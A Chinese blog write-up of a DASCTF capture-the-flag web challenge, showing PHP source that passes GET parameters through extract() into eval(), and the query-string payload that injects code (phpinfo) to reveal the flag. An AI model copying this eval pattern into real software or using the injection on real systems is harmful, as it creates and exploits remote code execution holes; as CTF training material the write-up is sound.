zoukankan      html  css  js  c++  java
  • [DASCTF Oct] 迷路的魔法少女

    简单的代码注入,但是因为太懒了,十月打的比赛十一月底才想起来写个Wp,以后再也不当懒狗了
    题目:

    <?php
    highlight_file('index.php');
    
    extract($_GET);
    error_reporting(0);
    function String2Array($data)
    {
        if($data == '') return array();
        @eval("\$array = $data;");
        return $array;
    }
    
    
    if(is_array($attrid) && is_array($attrvalue))
    {
            $attrstr .= 'array(';
            $attrids = count($attrid);
            for($i=0; $i<$attrids; $i++)
            {
                $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
                if($i < $attrids-1)
                {
                    $attrstr .= ',';
                }
            }
            $attrstr .= ');';
    }
    
    String2Array($attrstr); 
    

    String2Array()处存在一个代码执行点,然后下面的就是一个简单的语句拼接,本地测一下就可以实现代码注入,最终构造出:
    http://5d3c1779-4050-423d-8a56-405a2aa1a462.node4.buuoj.cn:81/?attrid[]=0&attrvalue[]=0&attrstr=phpinfo();//
    然后在phpinfo的常量中找到flag:
    image

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    视频输入 范例
    视频输出 范例
    开启VI视频输入设备 范例
    初始化MMP系统 范例
    Git 的使用
    DVS/DVR/NVR/XVR
    shell命令中 && 和 || 的区别
    码流 / 码率 / 比特率 / 帧速率 / 分辨率 / 高清
    DNS与DSN
    ob_start()失效与phpunit的非正常结束
  • 原文地址:https://www.cnblogs.com/yesec/p/15599132.html
Copyright © 2011-2022 走看看